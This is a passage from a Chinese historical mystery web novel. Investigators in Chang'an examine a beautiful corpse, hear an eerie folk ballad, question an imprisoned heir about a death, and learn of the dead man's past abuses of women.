褚逸把手掌压在棺材一角,沉声道:“老汉,打开看看,我们又不要你的尸体,看一眼又何妨,万一因此耽误了大理寺查案进度你们担待不起。”
褚逸招呼手下:“开棺。”
几个属下上前准备撬钉。
死者的夫君一整个伏在棺材上,哭诉道:“我娘子已经死了你们也不肯放过她,为什么!”
“她已经死了……”
“死了还要受你侮辱,你该死!你们都该死!”
男人像疯了一样大哭,猛然瞪过来的眼神里尽是杀意。
褚逸都看得一愣。
景序昭抬手将池楚浠护在身后。
事不宜迟,一直拖下去也没有好处,尽管褚逸与景序昭两人不怎么对付,但他也不愿放过任何可疑之处。
官府来查案,寻常百姓家都得知无不言,哪怕要查棺材里的东西也不敢阻拦,可这家人却死活不让,这很难不让他心生疑惑。
褚逸招呼手下拦住这家的男丁,道:“开吧。”
原本中期十足的老翁像是卸了一口气,整个人都耷拉了下去。
死者夫君嗓子里发出一种嘶哑的怒吼,无能地用拳头捶着地面。
“黛兹亚……”男人嘴里重复地念着这个名字。
池楚浠知道了他的娘子便是黛兹亚,见他这副模样池楚浠也于心不忍。
棺材板已经被推开一角,褚逸和景序昭同时看向棺中,两人都露出了震惊的神色。
池楚浠趁着机会也上前看了一眼,她惊讶地睁大了眼睛。
棺材里躺着的女子面若桃花,她双目轻阖,睫毛投下的阴影在眼下织成细密的帘,鼻尖微微翘起,琼瑶般的弧度让整张玉面更显精巧。
她像忽然睡着了,动也不动,连睫毛都不曾轻颤,仿佛整个人都化作了案头的白瓷美人瓶。
这一室的静,因她而有了温度;这一榻的寂,因她而添了风情,直教看客屏住呼吸,生怕呵出的气惊碎了这幅工笔重彩的美人睡图。
“这……”
褚逸呆呆地有些说不出话来,他终于捋顺了舌头道:“她当真死了?”
景序昭见了这尸体也有同样的疑问。
池楚浠道:“她的确是死了,身上已经有了尸斑。”
褚逸招呼手下将棺材合上,他对这家人道:“对不住,打扰了,大理寺会给你们发些慰问银。”
手下已经掏出钱递了过去,老翁垂着头接下了官银,他的态度似乎变软了不少:“慢走不送。”
褚逸走前还忍不住看了棺材几眼,那棺中的女尸实在是过于美丽,长安城的所有青楼妓馆怕是也寻不出这样容色的。
为何从前不曾听闻乐化坊有这样一位美人,就连死了也容颜不衰。
池楚浠对景序昭道:“她上了妆容,皮肤大概是用了什么特制的养颜油才能保持这般光泽,在民间有些地方给尸体化妆也是一门手艺,苍山便有这样的人。”
景序昭道:“这女子的模样倒是与贵妃娘娘年轻时有几分相似。”
池楚浠道:“贵妃娘娘也是异域女子,有几分相似倒也不足为奇。”
“我总觉得她夫君说的那些话很是奇怪,说你、你们就连娘子死了还要侮辱她,听着倒不像是在骂你和那位大理寺少卿。”
景序昭想了想:“我倒是没留意。”
褚逸带着部下去了下家寻找线索。
池楚浠远远地跟在他们身后,距离保持在能听见他们说的位置。
待大理寺的人问完走了,池楚浠才上前,她问的是别的:“办丧事那家的小娘子是如何死的,你们平日里可曾见过她?”
被盘问的老妪道:“你说安诃陵一家啊?他家娘子是生产死的,孩子侥幸活了下来,这有什么好问的,妇人生孩子都是鬼门关走一趟。”
老妪的相公从旁路过接了句话:“他家娘子不常出来,长得可漂亮哩。”
老妪瞪了自家男人一眼:“这下好了,人死了你们这些臭男人就不用惦记了。”
老翁笑了笑,还是夸赞道:“她即便是死了也比这乐化坊里所有女人都好看,你别不服气,我说的是事实。”
眼看老两口就要吵起来,池楚浠赶紧和景序昭溜了。
看来附近邻居都知道安诃陵家有一位漂亮的娘子,只是那小娘子不常出来露面。
池楚浠心想,像这样的容颜,选择不出来露面才是好事,省得被人惦记上。
景序昭用同样的方法问了第二户人家,这户人家的回答令他有些意外。
这家的二郎道:“他们家办丧事倒是跟咱们本地人不太一样,他娘子死的当天就请了人上门给她化妆,给尸体化妆,我还是头一回见。”
“不过他们也不让外人看,我想去看个热闹都不让我进门,人是上午死的,化妆的人跟着立马就去了,我下午从地里回来看见那化妆的人又来了。”
“给死人化个妆有这么难吗,要前前后后跑好几趟,诶你们听说过给死人化妆吗,化了真的好看吗?”
二郎年纪不大,说起话来滔滔不绝。
景序昭一直听着他讲,还问道:“除了妆娘还有谁在黛兹亚死后进过他家的?”
二郎笑道:“你们是又要问那个何郎君吧,方才那些人也问了,我看过画像,的确是没见着这人,不过从外面来乐化坊的人通常贪一口酒。”
二郎指着远处的街道说:“就是那曲麹翁酒肆,好些人来这里都是去
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买酒喝,兴许那何郎君也去喝酒了呢。”
“哦对了,你们跟方才那些人说一声,我忘了告诉他们何郎君可能会去那酒肆的事,你们是一路的吧?”
景序昭道:“是。”
池楚浠道了谢后便朝那曲麹翁酒肆去,这户人家很好打听,一问就问到了。说是曲老翁自己酿的酒,家里传下来的手艺,酒的口感不错,卖的价格实惠,所以光顾的人较多。
大理寺的人没有得到二郎说的消息,这会儿与池楚浠她们走了相反的方向。
褚逸很警觉地回头看了几眼景序昭,对他们还没跟上来这件事心生疑惑。
这两人怎么突然又不跟了,莫不是让他们得了什么消息然后捷足先登。褚逸一想到这种情况便不高兴,他不想落了下风,于是催促手下赶去下家询问。
池楚浠与景序昭来到曲麹翁的酒肆,说是酒肆,其实这里更像是普通的家宅,连个卖酒的幡子都没挂上。
凡是来买酒的都是自己一路找来,看来做的都是熟人生意。
池楚浠顺着敞开的门口走进院子,见着一个上了年纪的老翁在摆弄酒曲。
景序昭道:“曲老翁,可曾见过这画上之人?”
曲麹翁停下手中的动作,抬头朝那画看来,他仔细凑近看了几眼,摇头道:“没见过。”
“当真没见过?您再想想,昨日他可否来你这儿买过酒?”
曲麹翁继续摇头:“没见过就是没见过,老头子我本就记性不好,每日都有人来买酒,我怎会记得每一个人。”
曲麹翁自顾自处理做酒的原料,他的背有些佝偻,动作缓慢,照他这样子每日就算忙个不停也酿不出多少酒来,难怪卖酒都卖得这般随性,客人多了还真不一定能酿出这么多酒来。
忽然,曲老翁嘴里哼起调调来。
“一更鼓,槐影长倒吊女,脚朝上黑水滴滴落,糯米塞眼盲绣花绷,绷断肠。”
“二更漏,月如霜木棺沉,茶树旁银针穿指骨,红线绕颈凉绣冥衣,补魂裳。”
“三更天,鬼火晃子唤娘,声凄惶绣得嫁衣艳,绣得寿鞋香血线缠,三代亡。”
……
池楚浠和景序昭默默听完这首歌谣,那曲老翁又开始重复唱,把池楚浠他们当不存在似的。
景序昭莫名其妙感觉到一阵凉意,侧目看着池楚浠,只见她似乎在想什么。
池楚浠拉了景序昭一把,将他带出了院子。
她道:“我幼时听过这首歌谣,讲的是沙洲古道那边养阴线的故事。”
景序昭道:“何为养阴线?”
池楚浠道:“就是将难产而死的女子倒吊在房梁下七日,待尸首渗出黑水时将糯米塞入九窍,连同绣花绷架钉入槐木棺,埋在百年老茶树下,是为养阴线。”
“传说这样做之后,女子会在棺中继续为夫家绣冥衣,保三代子孙平安。”
曲老翁的院门敞开着,随时欢迎进去买酒的人。
两人站在门外还能听见曲翁嘴里唱的调调,那几句一样的词重复着唱。
离开这个院子后,景序昭道:“我们去之前他莫非也一直唱这歌谣……”
池楚浠似乎也想到了什么,赶紧道:“去问问附近买酒的人就知道了。”
85. 是我杀的
连着问了好几户人家,都说之前没听曲老翁唱过这歌谣。
景序昭道:“他是见我们去了才开始唱的,看来刻意唱给我们听。”
池楚浠想了想,道:“他想告诉我们养阴线的故事?难道他指的是安诃陵一家,他们家要拿女尸养阴线?”
“可这跟我们有什么关系……”
景序昭跟着池楚浠的思绪陷入了沉思。
走访了一天,一无所获。
大理寺的人有要案在身,宵禁的时间可暂时放宽,但池楚浠他们不同,必须赶在宵禁前回去。
离开乐化坊时,池楚浠看见褚逸的手下去了曲老翁的院子,不过他们像是去买酒的,毕竟其中几个人有说有笑,一副馋酒的模样。
池楚浠回到家中时天色已晚,田兰竹一脸担忧地道:“这几日你就别出门了,外头都传些不好听的,你听了白白难受。”
裴焕也在,他冷着脸道:“尽招惹些乱子,从明日开始你待在家里哪都不准去,等大理寺把此案查明再说。”
池楚浠正要说什么,袖子就被裴清浅悄悄扯了几下,裴清浅给她抛来个眼神,示意她别说话了,老老实实在家待着。
池楚浠知道这桩人命案给裴家带来了麻烦,何瑾亦因调戏她而死,张邈因为她出头而入狱,外人看来,何家与张家应该都恨惨了她,她是这桩案子的罪魁祸首。
池楚浠也不愿给裴家添麻烦,这些年裴家待她不薄,她总不能恩将仇报。
她道:“义父,阿娘,你们放心,我一人做事一人当,尽量不让你们陷入这漩涡之中,若最后此案还没有转圜的余地,我自行去给两家谢罪。”
裴焕沉声道:“我只是叫你好好待在家中,不要乱跑,又不是要赶你出去,你老实待着便是,等过了这一阵风头再说。”
田兰竹道:“对呀,等过了这阵风头这件事说不定就过去了,人又不是你杀的,你没错,有错的明明是何瑾亦,怎么反倒怪到你头上,是外头那些人是非不分,善恶不明。”
池楚浠拉了田兰竹的手道:“我知道,阿娘,我只是想为这个家做点什么,这些年来我全是仰仗您和义父,从未回报你们,反倒还在这个节骨眼耽误了家族的前程,我想要好好解决这件事,不想让你们操太多心。”
田兰竹红了眼眶道:“苦了你,被那畜生欺负了没处伸冤,现在他死了还要怪到你头上。”
裴焕道:“别说了,吃了饭早些休息,明日我还要去公廨,我们也要协助大理寺和刑部调查走访。”
第二日,裴焕才出门没多久,池楚浠就跟着出门了,景序昭在门口等她。
池楚浠迫不及待地问:“可有什么消息?”
景序昭道:“昨日宵禁后褚逸手下的人打听到乐化坊疑似有人见过何瑾亦,说是午时初见着何瑾亦朝曲老翁那边去了,像是去买酒喝。”
“但曲老翁声称自己对何瑾亦没印象,一会儿又说不记得了,总之是不承认见过他,也可能是真没见过。”
“今日大理寺的人会着重排查那片区域的百姓,挨个问下来总能问到。”
池楚浠道:“那尸体呢?可有进展?”
景序昭摇摇头:“没寻到,没有任何线索。”
池楚浠对于尸体凭空消失这件事总觉得奇怪,她并不相信鬼神一说,一具已经死透了的尸体不可能自己长脚跑了。
可查不出线索这一点倒是特别奇怪。
池楚浠道:“如今天气热起来了,尸体在外停放两日一定会有味道,到时就是想藏也很难藏得住。”
景序昭道:“若是藏在冰窖里呢?”
池楚浠不免垂了垂眼皮,道:“那就很难寻着气味找出来,也有可能偷尸体的人早就将尸体埋了。”
景序昭道:“埋的可能性不大,贼人既然打算偷尸,难道就是偷去悄悄把他埋了?”
“不是有恩便是有仇,要么他去给何瑾亦报仇,要么折辱何瑾亦的尸体为他自己报仇,这两个可能性倒是更大些。”
池楚浠觉得也是。
她道:“能否带我去见张邈,我想亲自问问他那日发生的事。”
景序昭就知道池楚浠想去见张邈,他道:“昨夜已经暗中打点好了,今日一定让你见上张邈。”
池楚浠抬眼看着景序昭一脸真诚地道:“阿兄,我许久没这么叫过你了,如今叫来还觉得有些不自在,这桩案子本与你无关,还是别将景家牵扯进来,省得将来你们不好与朝臣相处。”
景序昭道:“滕王早已求上我父亲了,他说无论什么代价,他都要保下张邈。”
池楚浠有些震惊:“所以无论结果如何你都要为世子洗脱罪名?”
景序昭沉默了片刻,只道:“何瑾亦的死在所有人意料之外,朝中没有人会想要致左丞于死地,更何况是他儿子,张邈就更不会有人盯上他了,在旁人眼里他就是个傻子,将来能否继承爵位都不好说。”
“何瑾亦的死让这两家成了死对头,似乎没有人在明面上从中得利,越是无法溯清源头的案子越难查证,我不仅是要还张邈一个清白,更要弄清楚其中是谁在搞鬼。”
池楚浠听明白了,景家愿意插手终究还是因为朝廷争端。
景家与滕王府的人一样,都对陛下忠心耿耿,不管怎么说他们是一条绳上的蚂蚱。
池楚浠道:“那走吧,去看看张邈。”
因为景司空的人情在,景序昭哪怕已经不在刑部任职,他也容易在各处通行,包括大理寺。
只需要给点好处,威逼利诱一下就顺利进去了。
池楚浠来到大理寺的地牢,白日里这里的光线都不怎么好,一进来就感觉阴森森的。
景序昭似乎对这里比较熟悉,他在前面带路,很快就来到了关张邈的地方。
牢中的人影背对着池楚浠,他趴在地上把头埋着,看不见他在做什么。
池楚浠小心翼翼地唤了一声:“张邈。”
那人双手捧着碗立马转过身来,他的脑袋几乎贴在了碗里,但瞥见池楚浠后就猛地把头抬了起来。
他昂着脖子有些兴奋地眯了眯眼睛,笑着对池楚浠道:“你看,我用手做筷子!你看我学得像不像?”
“像、像人吗?”
张邈用两只手指做筷,夹起碗里的菜往嘴里送。
池楚浠扒在围栏边上,有些心疼地问:“他们没给你筷子吗,你是人,他们为何不给你筷子?”
张邈吃着饭笑嘻嘻地道:“他们以为我是狗啊,狗狗不需要筷子。”
张邈继续用指做筷扒拉着碗里的饭菜。
池楚浠朝景序昭看去:“他好歹是王府世子,大理寺的狱卒竟不把他当人看。”
景序昭道:“不止大理寺的狱卒,整个长安城的人都没把他当人看,否则也不会都在传是他咬死了何瑾亦。”
张邈听见这话顿时停下了嚼饭的动作,含糊不清地道:“我咬死他了……我给你报仇了,池娘子……报仇了!”
他说着竟呵呵笑了起来,一脸得意地看着池楚浠,似乎在求表扬。
池楚浠却皱着眉道:“你真的咬了他?怎么咬的?”
张邈歪着脑袋想了想:“我听王府的下人说……姓何的郎君在苏府调戏了裴家池娘子,我……我就找去他家,一口咬了他!”
张邈指着自己的手背道:“咬这里。”
他又指着脖子左侧:“还有这里,我使劲咬,他痛得嗷嗷叫,像小狗被踩了尾巴一样。”
张邈说起这个还觉得好像,笑得肩膀都抖了起来:“活该,谁让他
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……欺负你!我要为我朋友……报仇!”
张邈说起话来还不太流畅,谢念说这种情况要花很长时间才能好转,他若是紧张,说起话来就更卡顿得更厉害。
池楚浠耐心地听着,接着问:“咬出血了吗,他出血了吗?”
张邈似乎很认真地在回忆,随后瘪着嘴摇了摇脑袋:“张邈不记得了,他说很痛,要咬死他了。”
张邈低头搅着手指:“我真的咬死他了……”
池楚浠道:“张邈,他说痛得要死了不是真的死了,这只是一种夸张的说法,说明你只是咬疼了他,并不是咬死了他。”
张邈一脸茫然地看着池楚浠:“可是,我看见他死了,鼻子里有血流出来。”
池楚浠一惊:“口鼻流血?”
张邈纠正道:“鼻子、鼻子流血了。”
池楚浠:“是不是在西市的铺子里,他躺在那里流血?”
张邈点头。
池楚浠追问:“那时你也咬了他?有没有打他?有没有把他打死?”
张邈想了想,认真道:“他死了,我打了他这里。”
池楚浠:“哪里?”
张邈用手指着自己□□。
池楚浠赶紧转过脸。
景序昭道:“你只是打了他那里?他就死了?”
张邈嗯了一声道:“他死了,还流鼻血。”
景序昭沉声道:“打□□流鼻血,人还死了,这倒是奇了。”
他对张邈道:“你记住,有人再来审问你,你就把刚才那些话告诉他们,再加一句人不是你杀的。”
张邈学着道:“人不是你杀的。”
景序昭:“错了,是说人不是你杀的。”
张邈点点头:“人不是你杀的。”
景序昭无奈地道:“说,人不是我杀的。”
张邈嘻嘻一笑:“知道了,人不是我杀的。”
“可是……可是他死了,人就是我杀的,我想杀了他,我想杀他他就真的死了,就是我杀的。”
景序昭:“……”
池楚浠道:“你只是心里想杀他,但那时候他并没有死对不对?”
张邈愣愣地眨了眨眼睛:“不对,他死了,我想杀他的时候他就死了。”
景序昭瞬间顿悟了一下,赶紧道:“你只是想一下他就死了?你动手的时候他死了吗?”
“死了啊。”张邈一口咬定,“我打他小弟弟的时候就死了,他躺着不动让我打。”
景序昭惊道:“所以你打他时他就已经躺着不动了?”
张邈点点头:“嗯嗯!”
景序昭忽地笑了一声。
原来如此。
从张邈的认知来看,人就是他自己杀的,甚至还没动手就已经死了,他认为自己想杀人人就死了,还有点为朋友报仇后的洋洋得意。
可殊不知,何瑾亦早就死了,两腿一蹬地躺在地上任他打。
池楚浠彻底感觉到松了一口气。
张邈人虽然傻傻的,说话也不清晰,但他不说谎话。
何瑾亦的死相很像被闷压致死,而张邈从头到尾从没捂过他口鼻。
景序昭再次教张邈:“记住,你要说,我打他之前他就已经死了。”
张邈点点头:“我打他之前他就已经死了,这样……对吗?”
景序昭给了他一个赞赏的眼神:“没错,记牢了,想要出去跟池娘子玩你就得这样对大理寺的人说,否则你就再也出不来,再也没有朋友了。”
一想到再也没有朋友,张邈就红了眼眶:“我记住了,我想出去跟池娘子玩猜拳头的游戏。”
景序昭道:“好,下次再审问你时你便这样说,很快就能出去。”
“嗯嗯!”张邈重重点头。
86. 强娶来的
池楚浠道:“在杂货铺你可曾见到可疑之人,比如行为鬼祟,身上有血的?”
张邈想都没想,直接摇头:“不记得。”
景序昭道:“他哪会留意这些,他自己的事都弄不明白,走吧,到时间了。”
张邈扒在围栏上,眼泪汪汪地看着两人:“快接我出去,一个人……不好玩。”
池楚浠冲他笑了笑:“你好好配合大理寺的问话,待案子一查清就能出来了。”
“嗯……”张邈抹了抹眼泪。
池楚浠和景序昭出了地牢,刚到门口就看见周玄带着人进去了,估计是又要审一遍。
张邈与其他犯人不同,心智不全,又是王府世子,在审问这方面需要花很多精力。
大理寺的人不擅长与张邈沟通,张邈跟不熟悉的人也不怎么讲话。
池楚浠道:“他们昨日怕是什么也没问出来,又不敢对张邈用刑。”
景序昭道:“放心吧,张邈学东西很快,我方才已经教过他了,只要周玄得到有用的信息就会立刻派人去查,下一步想必就是调查何家人,尤其是那日知道他行踪的。”
池楚浠道:“何瑾亦先一步死在了杂货铺里,难道没有其他人瞧见,那时钟鼓还未敲响,路上是有人的。”
“那家铺子的肆主大理寺可有询问过,都说了什么?”
景序昭道:“早已问过了,出事当天肆主不在,店里的伙计跟着供货商出去了一趟,就一眨眼的功夫便出了人命。”
“肆主竟完全不知。”池楚浠道,“那日供货的商人是谁,偏偏那么巧挑在那个时候。”
景序昭道:“去找林云舟要那日的审问记录,大理寺接手前是金吾卫最先了解案子。”
景序昭做事很有效率,当即就找到了正要去巡逻的林云舟,从昨日开始附近的坊就都是林云舟亲自接管,陛下亲自下的命令。
他把那日做了记录的册子递给景序昭看:“今晨我见陛下时得知他为了此事昨夜几乎没睡,操心得不行,恨不得立刻就水落石出。”
“陛下知道你也在暗中调查,并未阻止,还说让景司空也跟着操心了。”
“诶你看出什么没有,盯着册子看这么久了。”
景序昭看完册子后对池楚浠道:“店里的伙计说那日出去后没见着供货的商人,他很快就回了店里。”
“至于那供货人是谁伙计没说,只是有人带口信说要送南诏茶来,带口信之人是这一片常用的跑腿郎,信得过,但不知那日怎么就传了个空消息。”
池楚浠问:“有没有问跑腿郎,是谁让他带的口信,有可能不是真正的供货商。”
林云舟道:“这个还没人去问过,不过我知道那跑腿郎在哪儿,我可以带你们去,顺便我把这册子补全再交给大理寺,说不定还算我立了一功。”
林云舟行动迅速,很快就找来了跑腿郎。
林云舟道:“那日是谁给你说要送南诏茶来铺子,可是从前的老供货商?”
跑腿郎摇摇头:“那倒不是,那日送信的是个小乞丐,他就跑来跟我说了一声就走了。”
“我心想大概是那商队在忙别的事,所以就找个小乞丐让我带口信。”
“我做这些通常有小费拿,有些人喜欢事后给钱,赖账的不多,但也肯定会遇上。”
“我以为又是个赖账的,但我还是去了,万一人家一会儿就把小费给了呢,我就跑了这一趟,告诉店家的伙计去街头取几包茶叶。”
“送完口信我就走了,没想到转头就在地上捡了几个通宝,我就当是这趟的跑腿费,就收着了。”
林云舟将小郎君说的这些都给记录在册,他道:“捡的钱呢,你没问问附近有人丢钱吗?”
小郎君一脸命苦的模样:“官爷,我活都干了,总得拿两个钱吧,没人给我,我就地上捡几个也不行啊。”
林云舟把手伸到他面前:“交公。”
小郎君苦着脸从兜里摸出几枚通宝递过去:“算我倒霉,人在江湖混哪有不吃亏。”
林云舟收走了小郎君的通宝,接着从自己兜里摸出更多的通宝塞给他:“这是给你的赏金。”
“谢谢官爷!”小郎君赶紧道,“既然收了钱,那我就再说点儿,后来我去找了那个小乞丐,小屁孩说他也不知道谁让他传话,那人隔着矮墙给了他钱让他这么做的。”
问完了话,林云舟就让跑腿郎走了。
“照我看,传话那人就是怕被人认出来,他不敢露面,所以中间才绕了这么多弯子。”林云舟道。
景序昭也认同:“此人故意引开伙计,就是在伙计出去的这段时间里,何瑾亦便死在了店里,命案必定与此人有关,一定要尽快将他找出。”
林云舟道:“我这就告诉大理寺去。”
在长兴坊酒楼吃饭时,陆逍带了个消息来。
“左丞家今早打死了一名女子,是何瑾亦的一位妾室。”
陆逍跑了一天,到处打听消息,这会儿又饿又累,大口扒拉着饭菜。
“不仅打死了一个妾室,还发卖出去一个,就卖去了隔壁的栖月楼。”
景序昭道:“继续说。”
“我饿了,等我先吃两口。”陆逍知道景序昭着急,但他又实在饿得慌,只能快速把肚子填饱。
“事情是这样的,何瑾亦不是死了吗,他的一个小妾就想出府,但她是偷偷摸摸走的,不巧被何家人抓个正着,左丞气不过,儿子刚死,他的小妾就要跑,直接就下令将人乱棍打死。”
“另一个小妾来为被打的小妾求情,也被连带着打了一顿,打完就给发卖出去了。”
陆逍道:“就是这样,何府里闹得很不愉快,听说他家老祖宗都气病了,陛下听闻后还派了太医前去府上为她看诊。”
池楚浠道:“不是说何瑾亦对家中妻妾爱护有加,那小妾怎么会在夫君一死就想要离家出走。”
陆逍摸着下巴思索道:“外界是这样传言的,说何瑾亦虽是个花心大萝卜但他对家中的娘子们都很好,可这事也没人出来证实过,至于传言嘛,听一半信一半就得了。”
景序昭道:“被发卖去栖月楼的小妾叫什么名字?”
陆逍道:“叫陈栀,我来之前已经去栖月楼打听过了,说是身上有伤,得养好了才能接客。”
景序昭道:“去栖月楼一趟。”
陆逍看向池楚浠,尴尬地笑了笑:“咱们抛下池娘子去逛青楼?不太好吧。”
景序昭看着池楚
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浠道:“一起去。”
池楚浠自然是要一起去的,如今她也是非常关心这桩案子的人之一。
陆逍熟门熟路地找到了栖月楼的阿姥,他直接塞了钱问道:“我要见陈栀,就是你们这儿昨日新来的那个娘子。”
阿姥拿着钱有些为难:“哎哟,我不是跟您说了吗,她身上有伤在,还接不了客,您怎么就这么急不可耐,多等几天也不行。”
陆逍道:“我就找她说几句话,你只管叫她来见我便是,给我们一间房。”
说着,他又塞了钱给阿姥。
阿姥下去安排了。
还算宽敞的房间里,一个戴着面纱的女子来到他们面前,她看起来有些怯怯的,眼神扫了一遍屋子里的所有人,见着有个女子时她似乎放松了许多。
“贵客找阿栀有何事?”她行了礼道。
景序昭道:“你是陈栀,何瑾亦的小妾?”
女人愣了愣,随即点头:“是。”
景序昭道:“何府今早打死的那位娘子是哪家的,因何故被殴打致死?”
“这……”陈栀暗暗地打量了景序昭一眼,不知该不该说。
景序昭道:“将你知道的都说给我听,我便将你赎出栖月楼。”
陈栀想了想,觉得说一些也无妨,便道:“云悠她只是想出府去,并没有别的心思,当初她就不愿嫁进何家,如今何瑾亦死了,她只想偷偷出去过自己的日子。”
陈栀说着就红了眼眶:“可逃走的时候被何家人发现了,何大人气她对夫君不忠,夫君刚死便要走,一怒之下便打死了她。”
“她娘家是在安善坊,一年前她是被何瑾亦强娶了来的,那时她便当着何瑾亦的面哭闹过几回,说要回家去,可进了何家的门哪是那么容易出去的,后来她也不闹了。”
“只是这一次何瑾亦死了,好不容易没有人拦着她了,可何家人却不肯放了她,硬是活生生将她打死。”
说到此处,陈栀低低地抽泣着。
一想到云悠死时的那副惨样她就浑身发寒,心有余悸。
景序昭道:“何瑾亦对云悠不好吗,为何他才死了没几日,云悠便想要离家,为何不为他守丧?”
陈栀强迫自己稳定情绪,她带着几分怨气的眼神朝景序昭看来:“所有人都怪云悠不为夫君守丧,可谁又曾怜惜过她,当年她是一点也不想嫁进何家的,也就何瑾亦仗着自己是左丞儿子为所欲为,强占强娶。”
陈栀语气不善,当她意识到自己不够恭敬时面色又软了下来,毕竟眼前这个人说要为她赎身,暂时不能跟他过不去。
“抱歉……我失礼了。”陈栀擦了擦眼角的泪痕。
景序昭似乎在琢磨着什么。
池楚浠道:“方才景郎君问的是何瑾亦平日里对云悠好不好,你将这一点说来听听。”
陈栀看向池楚浠,有些好奇为何她一个小娘子会跟着来这青楼。
她道:“他对云悠再好又如何,云悠根本不想在何家过日子,何瑾亦不过是贪图她的美色,新鲜劲一过便没了兴趣,她在何家活得像个行尸走肉,何谈过得好?”
陈栀道:“前几日他不是相上裴家养女了吗,他的死不就是这桩事闹的,这就是报应。”
87. 西第二街
她说何瑾亦时眼中是掩饰不住的嫌恶,看来她也和云悠一样,待在何家是心不甘情不愿。
池楚浠道:“你也是被他强娶来的?”
陈栀鼻尖一酸,满腔委屈地道:“我……我是被迫失身于他,便只能嫁过来了。”
景序昭忽然直接问道:“你当年是如何失身于他,细说其中缘由。”
陆逍不好意思地道:“让一个娘子说这些不太好吧,要不问下一个问题。”
景序昭道:“我问你这些并没有什么龌龊的心思,只是想知道何瑾亦是否强抢民女,恃强凌弱,毕竟外界可不曾传言他做过这些恶事。”
“你若是说谎,那外界的传言就都是真的,他就不曾违反大晟律法。”
陈栀脸色难看,沉声道:“我没有说谎,云悠是他抢来的,我……我也是他用手段逼迫的。”
“我比云悠早入府半年,那年家中正要给我说亲,本是已经定好了人家,可有一次我在外与姐妹小聚时莫名中了迷香,醒来时就与何瑾亦躺在一处了。”
“后来家中不得不给我退了亲,让我嫁进何家为妾,再后来每每一想起这事我便觉得是何瑾亦故意为之,有一次我实在忍不住便问了他,他承认了,他就是用这种龌龊手段达到自己的目的。”
“如此一来,被他逼迫的娘子们根本不敢将事情说出去,也就有了你们认为的假象,他让所有人都认为他虽好色但对家中娘子好,实则他是个心肝烂透了的。”
陈栀说着带了些哭腔,心里越发觉得委屈。
陆逍道:“这么说来,何瑾亦一直都在强抢民女,只是仗着手段和背景无人敢揭发他罢了。”
陈栀抹了抹眼泪。
景序昭道:“云悠在何家待了一年,她怎么也该了解何家人的秉性,尽管如此她还要选择在此刻逃离,说明她受的罪远远不止这些。”
陈栀已经打开了话匣子,自己也不想收住了,但她还是保持了几分警惕,问道:“你们问这些要做什么?”
景序昭道:“查案,何瑾亦一案。”
池楚浠道:“陈娘子,你说的这些对查清此案大有用处,我们得知何瑾亦并不是表面展现的那幅样子,他私下里利用手段逼迫良家妇女,强要强娶,让人有苦难言,这些罪名足够上报官府。”
陈栀冷冷笑道:“报了官府有什么用,他人都已经死了,谁还会去查从前的事,况且我们这些女人的家人为了我们的名声是不会将这些陈年往事说出来的。”
她扫了一眼其他人道:“你们查这桩案子难道不是为了弄清何瑾亦是怎么死的,难道不是为了给他报仇?”
景序昭道:“何瑾亦死就死了,谁要给他报仇,我们是为了洗清滕王府世子的冤屈。”
“何瑾亦死不足惜。”
陈栀仿佛感觉到眼前这个男人跟自己一样厌恶何瑾亦,几乎就要跟他站在同一条战线了。
“你们原来是为了滕王府的世子,那你们查吧,我该说的都说了,不过休想从我口中听到何瑾亦半点好话,我一点也不同情他。”
陈栀这张脸冷得像冰霜,一想到从前种种她便心中郁结,再一想到云悠,他就恨不得给何瑾亦鞭尸。
景序昭道:“何瑾亦强抢民女缺少证据,你若是有就都说来,我会让人拟奏报呈上去,即便是他死了这件事也要查清,好给所有被欺辱的女子一个交代。”
陈栀红了眼眶,她看着景序昭道:“你当真能做到如此?”
陆逍立马掏出腰牌给她看,“我们是刑部的,没必要骗你,陈娘子,把你知道的都告诉景侍郎,他会为你们主持公道。”
池楚浠向陈栀说明了自己的身份,陈栀在得知池楚浠便是何瑾亦想娶的那个新娘子时有些震惊。
她看着池楚浠道:“原来他是因你而死,这也算是他的报应了。”
池楚浠道:“我不想滕王府世子平白受屈,所以这桩案子我必须弄清楚,好给他一个交代。”
陈栀道:“你们得答应我一个条件,三日内送我出长安,我要去青岚郡。”
景序昭点头:“可以。”
陈栀早就在心里盘算过,何瑾亦的那些事儿,虽然他不是完全清楚,但都说出来总能让有心之人顺藤摸瓜地查下去。
就怕何家人知道是她在背后说话,以后会找她麻烦,所以她必须尽快离开这里。
她道:“我知道的也不多,手里并没有实质的罪证,我曾在大夫人那里听闻,三年前何瑾亦好像因为一个女人闹出过事。”
“那时何瑾亦匆匆从外面回来,一到家就撩开袖子让夫人给他处理伤口,还特意叮嘱夫人不准将这个事泄露半分。”
陆逍打断道:“既然不准夫人泄露,那你又是如何得知?”
陈栀道:“自从夫人上了年纪后何瑾亦对她就没那么殷勤了,将服侍她的婢女都减了几位,其中一个叫珊瑚的丫头就分到了我院子里,这话是我从她口中套出来的。”
“她说三年前有一日何瑾亦一脸慌张地从外面回来,身上有伤,又不敢叫人知晓便让夫人给他处理,夫人多问了几句还遭了他的训斥。”
“珊瑚说她清清楚楚地看见了何瑾亦胳膊上的牙印,那道印子被咬得很深,见了血,后来足足养了半个月都不见好。”
“有一天夜里,她听见夫人与何瑾亦说话,何瑾亦当时说的是他打死了那个贱妇,还拔了她的牙。”
说到此处,陈栀感到一阵恶寒,接着道:“他说……还是拔了牙好玩,这样就不咯着他了。”
“什么意思?”陆逍疑惑道。
陈栀突然恶心了一下,捂着胸口想要吐的样子,她眼中噙着泪道:“你们不是何瑾亦,没有他那般的手段,还是不要问的好,总之,你们可以去查那个被他打死的妇人,看看是否属实。”
“将他这杀人的罪名报上去,让所有人知道他是死有余辜,谁也不要同情他一分。”
景序昭道:“可还有与那妇人相关的其他线索,单凭你这样的转述恐怕不好找人。”
陈栀摇摇头:“没了,珊瑚只知道那日何瑾亦是从西第二街的方向回来的。”
陆逍眉头一皱,叹了口气:“那范围可广了,得找小半
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个城,说了跟没说一样。”
陈栀又想了想,道:“我还知道一些事,不知能否对查证此事有帮助。”
“在那之前,何瑾亦常常兴冲冲地往外跑,去的方向与珊瑚说的一致,我曾偷偷留意过,有一次我看见他是从北向南走,去的大概是第四坊或第五坊的位置,具体的我也不清楚了。”
“你们若是能查到什么或许真能坐实他的罪名,我也想知道那个他口中被他打死的妇人到底是谁家娘子,真是作孽。”
陈栀的情绪缓和了许多,她喝了口水润嗓子。
陆逍对景序昭道:“我去找兄弟们问问,平日里他们与巡逻那块的侍卫倒也有些交集。”
景序昭点了点头,陆逍赶紧去了。
陈栀看着池楚浠道:“池娘子,我有话单独与你说。”
景序昭识趣地退了出去。
